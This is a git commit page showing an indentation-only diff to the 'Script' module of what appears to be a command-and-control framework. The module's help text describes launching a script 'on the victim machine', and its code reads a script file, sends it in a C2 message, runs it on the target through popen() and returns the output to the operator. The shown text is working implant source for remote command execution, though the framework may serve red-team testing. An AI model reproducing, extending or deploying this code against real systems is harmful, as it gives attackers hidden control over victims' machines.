Normalize C++ indentation to four spaces

This commit is contained in:
Maxime dcb
2025-10-14 16:05:39 +02:00
parent 46975f58dc
commit 2f6652ddbb
117 changed files with 11326 additions and 11326 deletions
+46 -46
View File
@@ -32,9 +32,9 @@ __attribute__((visibility("default"))) Script * ScriptConstructor()
Script::Script()
#ifdef BUILD_TEAMSERVER
: ModuleCmd(std::string(moduleName), moduleHash)
: ModuleCmd(std::string(moduleName), moduleHash)
#else
: ModuleCmd("", moduleHash)
: ModuleCmd("", moduleHash)
#endif
{
}
@@ -45,77 +45,77 @@ Script::~Script()
std::string Script::getInfo()
{
std::string info;
std::string info;
#ifdef BUILD_TEAMSERVER
info += "script:\n";
info += "Launch the script on the victim machine\n";
info += "exemple:\n";
info += " - script /tmp/toto.sh\n";
info += "script:\n";
info += "Launch the script on the victim machine\n";
info += "exemple:\n";
info += " - script /tmp/toto.sh\n";
#endif
return info;
return info;
}
int Script::init(std::vector<std::string> &splitedCmd, C2Message &c2Message)
{
if(splitedCmd.size()<2)
{
c2Message.set_returnvalue(getInfo());
return -1;
}
if(splitedCmd.size()<2)
{
c2Message.set_returnvalue(getInfo());
return -1;
}
string inputFile = splitedCmd[1];
string inputFile = splitedCmd[1];
std::ifstream input(inputFile, std::ios::binary);
std::ifstream input(inputFile, std::ios::binary);
if(input.good())
{
std::string buffer(std::istreambuf_iterator<char>(input), {});
if(input.good())
{
std::string buffer(std::istreambuf_iterator<char>(input), {});
c2Message.set_instruction(splitedCmd[0]);
c2Message.set_inputfile(inputFile);
c2Message.set_data(buffer.data(), buffer.size());
}
else
{
std::string err = "[-] Fail to open file: ";
err+=inputFile;
c2Message.set_returnvalue(err);
return -1;
}
c2Message.set_instruction(splitedCmd[0]);
c2Message.set_inputfile(inputFile);
c2Message.set_data(buffer.data(), buffer.size());
}
else
{
std::string err = "[-] Fail to open file: ";
err+=inputFile;
c2Message.set_returnvalue(err);
return -1;
}
return 0;
return 0;
}
int Script::process(C2Message &c2Message, C2Message &c2RetMessage)
{
const std::string script = c2Message.data();
const std::string script = c2Message.data();
std::string result;
std::string result;
#ifdef __linux__
std::array<char, 128> buffer;
std::array<char, 128> buffer;
std::unique_ptr<FILE, decltype(&pclose)> pipe(popen(script.c_str(), "r"), pclose);
if (!pipe)
{
throw std::runtime_error("popen() filed!");
}
while (fgets(buffer.data(), buffer.size(), pipe.get()) != nullptr)
{
result += buffer.data();
}
std::unique_ptr<FILE, decltype(&pclose)> pipe(popen(script.c_str(), "r"), pclose);
if (!pipe)
{
throw std::runtime_error("popen() filed!");
}
while (fgets(buffer.data(), buffer.size(), pipe.get()) != nullptr)
{
result += buffer.data();
}
#elif _WIN32
result += "Not implemented for windows";
result += "Not implemented for windows";
#endif
c2RetMessage.set_instruction(c2RetMessage.instruction());
c2RetMessage.set_returnvalue(result);
c2RetMessage.set_instruction(c2RetMessage.instruction());
c2RetMessage.set_returnvalue(result);
return 0;
return 0;
}